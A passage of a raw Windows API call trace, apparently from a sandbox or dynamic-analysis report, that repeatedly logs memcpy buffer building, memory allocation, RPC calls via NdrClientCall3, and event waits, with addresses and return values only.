dwWakeMask=0x4ff) returned 0x0 [0124.538] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.538] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.538] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.538] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.538] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0xe | out: _Dst=0x335963) returned 0x335963 [0124.538] memcpy (in: _Dst=0x335971, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335971) returned 0x335971 [0124.538] memcpy (in: _Dst=0x335973, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335973) returned 0x335973 [0124.538] CoTaskMemAlloc (cb=0x47) returned 0x3601f0 [0124.538] memcpy (in: _Dst=0x3601f0, _Src=0x335930, _Size=0x47 | out: _Dst=0x3601f0) returned 0x3601f0 [0124.539] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.577] CoTaskMemFree (pv=0x3601f0) [0124.577] SetEvent (hEvent=0x174) returned 1 [0124.577] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.585] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.585] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.585] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.585] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.585] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0xd | out: _Dst=0x33594f) returned 0x33594f [0124.585] memcpy (in: _Dst=0x33595c, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595c) returned 0x33595c [0124.585] memcpy (in: _Dst=0x33595e, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595e) returned 0x33595e [0124.585] CoTaskMemAlloc (cb=0x30) returned 0x3c3470 [0124.585] memcpy (in: _Dst=0x3c3470, _Src=0x335930, _Size=0x30 | out: _Dst=0x3c3470) returned 0x3c3470 [0124.586] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.587] CoTaskMemFree (pv=0x3c3470) [0124.587] SetEvent (hEvent=0x174) returned 1 [0124.587] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.588] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.589] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.589] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.589] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.589] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0xd | out: _Dst=0x335951) returned 0x335951 [0124.589] memcpy (in: _Dst=0x33595e, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595e) returned 0x33595e [0124.589] memcpy (in: _Dst=0x335960, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335960) returned 0x335960 [0124.589] CoTaskMemAlloc (cb=0x34) returned 0x3c3530 [0124.589] memcpy (in: _Dst=0x3c3530, _Src=0x335930, _Size=0x34 | out: _Dst=0x3c3530) returned 0x3c3530 [0124.590] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.591] CoTaskMemFree (pv=0x3c3530) [0124.591] SetEvent (hEvent=0x174) returned 1 [0124.591] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.721] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.721] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.721] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0124.721] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0124.721] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0124.721] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0124.721] CoTaskMemAlloc (cb=0x10) returned 0x376eb0 [0124.721] memcpy (in: _Dst=0x376eb0, _Src=0x335930, _Size=0x10 | out: _Dst=0x376eb0) returned 0x376eb0 [0124.722] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.766] CoTaskMemFree (pv=0x376eb0) [0124.766] SetEvent (hEvent=0x174) returned 1 [0124.766] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.769] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.769] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.769] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.769] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.769] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0xd | out: _Dst=0x335963) returned 0x335963 [0124.769] memcpy (in: _Dst=0x335970, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335970) returned 0x335970 [0124.769] memcpy (in: _Dst=0x335972, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335972) returned 0x335972 [0124.769] CoTaskMemAlloc (cb=0x46) returned 0x360240 [0124.769] memcpy (in: _Dst=0x360240, _Src=0x335930, _Size=0x46 | out: _Dst=0x360240) returned 0x360240 [0124.770] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.772] CoTaskMemFree (pv=0x360240) [0124.772] SetEvent (hEvent=0x174) returned 1 [0124.772] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.779] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.779] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.779] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.779] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.779] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0x8 | out: _Dst=0x33594f) returned 0x33594f [0124.779] memcpy (in: _Dst=0x335957, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335957) returned 0x335957 [0124.779] memcpy (in: _Dst=0x335959, _Src=0xdcdc00, _Size=0x1c | out: _Dst=0x335959) returned 0x335959 [0124.780] memcpy (in: _Dst=0x335975, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335975) returned 0x335975 [0124.780] CoTaskMemAlloc (cb=0x47) returned 0x360290 [0124.780] memcpy (in: _Dst=0x360290, _Src=0x335930, _Size=0x47 | out: _Dst=0x360290) returned 0x360290 [0124.780] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.781] CoTaskMemFree (pv=0x360290) [0124.781] SetEvent (hEvent=0x174) returned 1 [0124.781] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.783] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.783] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.783] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.783] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.783] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0x8 | out: _Dst=0x335951) returned 0x335951 [0124.783] memcpy (in: _Dst=0x335959, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335959) returned 0x335959 [0124.783] memcpy (in: _Dst=0x33595b, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33595b) returned 0x33595b [0124.783] CoTaskMemAlloc (cb=0x2f) returned 0x3c34b0 [0124.783] memcpy (in: _Dst=0x3c34b0, _Src=0x335930, _Size=0x2f | out: _Dst=0x3c34b0) returned 0x3c34b0 [0124.784] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.784] CoTaskMemFree (pv=0x3c34b0) [0124.784] SetEvent (hEvent=0x174) returned 1 [0124.784] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.793] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.793] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.793] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.793] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.793] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0x8 | out: _Dst=0x335963) returned 0x335963 [0124.793] memcpy (in: _Dst=0x33596b, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33596b) returned 0x33596b [0124.793] memcpy (in: _Dst=0x33596d, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33596d) returned 0x33596d [0124.793] CoTaskMemAlloc (cb=0x41) returned 0x360290 [0124.793] memcpy (in: _Dst=0x360290, _Src=0x335930, _Size=0x41 | out: _Dst=0x360290) returned 0x360290 [0124.794] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.795] CoTaskMemFree (pv=0x360290) [0124.795] SetEvent (hEvent=0x174) returned 1 [0124.795] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.804] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.804] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.804] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.805] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.805] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0xc | out: _Dst=0x33594f) returned 0x33594f [0124.805] memcpy (in: _Dst=0x33595b, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595b) returned 0x33595b [0124.805] memcpy (in: _Dst=0x33595d, _Src=0xdcdc00, _Size=0x1c | out: _Dst=0x33595d) returned 0x33595d [0124.805] memcpy (in: _Dst=0x335979, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335979) returned 0x335979 [0124.805] CoTaskMemAlloc (cb=0x4b) returned 0x380310 [0124.805] memcpy (in: _Dst=0x380310, _Src=0x335930, _Size=0x4b | out: _Dst=0x380310) returned 0x380310 [0124.806] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.806] CoTaskMemFree (pv=0x380310) [0124.806] SetEvent (hEvent=0x174) returned 1 [0124.806] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.815] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.815] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.815] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.815] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.815] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0xc | out: _Dst=0x335951) returned 0x335951 [0124.815] memcpy (in: _Dst=0x33595d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595d) returned 0x33595d [0124.815] memcpy (in: _Dst=0x33595f, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33595f) returned 0x33595f [0124.815] CoTaskMemAlloc (cb=0x33) returned 0x3c3570 [0124.815] memcpy (in: _Dst=0x3c3570, _Src=0x335930, _Size=0x33 | out: _Dst=0x3c3570) returned 0x3c3570 [0124.816] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.817] CoTaskMemFree (pv=0x3c3570) [0124.817] SetEvent (hEvent=0x174) returned 1 [0124.817] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.877] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.877] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.877] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0124.877] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0124.877] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0124.877] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0124.877] CoTaskMemAlloc (cb=0x10) returned 0x376f90 [0124.877] memcpy (in: _Dst=0x376f90, _Src=0x335930, _Size=0x10 | out: _Dst=0x376f90) returned 0x376f90 [0124.878] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.921] CoTaskMemFree (pv=0x376f90) [0124.921] SetEvent (hEvent=0x174) returned 1 [0124.921] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.932] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.932] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.932] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.932] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.932] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0xc | out: _Dst=0x335963) returned 0x335963 [0124.932] memcpy (in: _Dst=0x33596f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33596f) returned 0x33596f [0124.932] memcpy (in: _Dst=0x335971, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335971) returned 0x335971 [0124.932] CoTaskMemAlloc (cb=0x45) returned 0x3601f0 [0124.932] memcpy (in: _Dst=0x3601f0, _Src=0x335930, _Size=0x45 | out: _Dst=0x3601f0) returned 0x3601f0 [0124.933] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.934] CoTaskMemFree (pv=0x3601f0) [0124.934] SetEvent (hEvent=0x174) returned 1 [0124.934] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.942] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.942] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.942] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.942] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.942] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0x14 | out: _Dst=0x33594f) returned 0x33594f [0124.942] memcpy (in: _Dst=0x335963, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335963) returned 0x335963 [0124.942] memcpy (in: _Dst=0x335965, _Src=0xdcdc00, _Size=0x32 | out: _Dst=0x335965) returned 0x335965 [0124.942] memcpy (in: _Dst=0x335997, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335997) returned 0x335997 [0124.942] memcpy (in: _Dst=0x335999, _Src=0xdcdc00, _Size=0x10 | out: _Dst=0x335999) returned 0x335999 [0124.942] CoTaskMemAlloc (cb=0x79) returned 0x32ef70 [0124.942] memcpy (in: _Dst=0x32ef70, _Src=0x335930, _Size=0x79 | out: _Dst=0x32ef70) returned 0x32ef70 [0124.943] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.944] CoTaskMemFree (pv=0x32ef70) [0124.944] SetEvent (hEvent=0x174) returned 1 [0124.944] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.945] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.945] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.945] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.945] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.945] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0x14 | out: _Dst=0x335951) returned 0x335951 [0124.946] memcpy (in: _Dst=0x335965, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335965) returned 0x335965 [0124.946] memcpy (in: _Dst=0x335967, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335967) returned 0x335967 [0124.946] CoTaskMemAlloc (cb=0x3b) returned 0x360380 [0124.946] memcpy (in: _Dst=0x360380, _Src=0x335930, _Size=0x3b | out: _Dst=0x360380) returned 0x360380 [0124.946] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.947] CoTaskMemFree (pv=0x360380) [0124.947] SetEvent (hEvent=0x174) returned 1 [0124.947] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.950] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.950] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.950] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0124.950] memcpy (in: _Dst=0x335961, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335961) returned 0x335961 [0124.950] memcpy (in: _Dst=0x335963, _Src=0xdcdc00, _Size=0x14 | out: _Dst=0x335963) returned 0x335963 [0124.950] memcpy (in: _Dst=0x335977, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335977) returned 0x335977 [0124.950] memcpy (in: _Dst=0x335979, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335979) returned 0x335979 [0124.950] CoTaskMemAlloc (cb=0x4d) returned 0x380010 [0124.950] memcpy (in: _Dst=0x380010, _Src=0x335930, _Size=0x4d | out: _Dst=0x380010) returned 0x380010 [0124.951] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.952] CoTaskMemFree (pv=0x380010) [0124.952] SetEvent (hEvent=0x174) returned 1 [0124.952] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.959] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.960] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.960] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x335934) returned 0x335934 [0124.960] memcpy (in: _Dst=0x33594d, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594d) returned 0x33594d [0124.960] memcpy (in: _Dst=0x33594f, _Src=0xdcdc00, _Size=0xf | out: _Dst=0x33594f) returned 0x33594f [0124.960] memcpy (in: _Dst=0x33595e, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33595e) returned 0x33595e [0124.960] memcpy (in: _Dst=0x335960, _Src=0xdcdc00, _Size=0x12 | out: _Dst=0x335960) returned 0x335960 [0124.960] memcpy (in: _Dst=0x335972, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335972) returned 0x335972 [0124.960] CoTaskMemAlloc (cb=0x44) returned 0x360420 [0124.960] memcpy (in: _Dst=0x360420, _Src=0x335930, _Size=0x44 | out: _Dst=0x360420) returned 0x360420 [0124.961] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.962] CoTaskMemFree (pv=0x360420) [0124.962] SetEvent (hEvent=0x174) returned 1 [0124.962] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.963] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.963] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.963] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x335934) returned 0x335934 [0124.963] memcpy (in: _Dst=0x33594f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33594f) returned 0x33594f [0124.963] memcpy (in: _Dst=0x335951, _Src=0xdcdc00, _Size=0xf | out: _Dst=0x335951) returned 0x335951 [0124.963] memcpy (in: _Dst=0x335960, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335960) returned 0x335960 [0124.963] memcpy (in: _Dst=0x335962, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335962) returned 0x335962 [0124.963] CoTaskMemAlloc (cb=0x36) returned 0x3c3630 [0124.963] memcpy (in: _Dst=0x3c3630, _Src=0x335930, _Size=0x36 | out: _Dst=0x3c3630) returned 0x3c3630 [0124.964] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.965] CoTaskMemFree (pv=0x3c3630) [0124.965] SetEvent (hEvent=0x174) returned 1 [0124.965] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0124.970] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0124.970] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0124.970] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0124.970] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0124.970] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0124.970] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0124.970] memcpy (in: _Dst=0x335940, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335940) returned 0x335940 [0124.970] memcpy (in: _Dst=0x335942, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335942) returned 0x335942 [0124.970] memcpy (in: _Dst=0x335946, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335946) returned 0x335946 [0124.970] memcpy (in: _Dst=0x335948, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335948) returned 0x335948 [0124.970] CoTaskMemAlloc (cb=0x1c) returned 0x3c2000 [0124.970] memcpy (in: _Dst=0x3c2000, _Src=0x335930, _Size=0x1c | out: _Dst=0x3c2000) returned 0x3c2000 [0124.971] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0124.984] CoTaskMemFree (pv=0x3c2000) [0124.984] SetEvent (hEvent=0x174) returned 1 [0124.984] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0125.045] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0125.045] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0125.045] memcpy (in: _Dst=0x335934, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335934) returned 0x335934 [0125.045] memcpy (in: _Dst=0x335936, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335936) returned 0x335936 [0125.045] memcpy (in: _Dst=0x33593a, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x33593a) returned 0x33593a [0125.045] memcpy (in: _Dst=0x33593c, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x33593c) returned 0x33593c [0125.045] memcpy (in: _Dst=0x335940, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335940) returned 0x335940 [0125.045] memcpy (in: _Dst=0x335942, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335942) returned 0x335942 [0125.045] memcpy (in: _Dst=0x335946, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335946) returned 0x335946 [0125.045] memcpy (in: _Dst=0x335948, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x335948) returned 0x335948 [0125.045] CoTaskMemAlloc (cb=0x1c) returned 0x3c2000 [0125.045] memcpy (in: _Dst=0x3c2000, _Src=0x335930, _Size=0x1c | out: _Dst=0x3c2000) returned 0x3c2000 [0125.046] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0125.092] CoTaskMemFree (pv=0x3c2000) [0125.092] SetEvent (hEvent=0x174) returned 1 [0125.092] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, 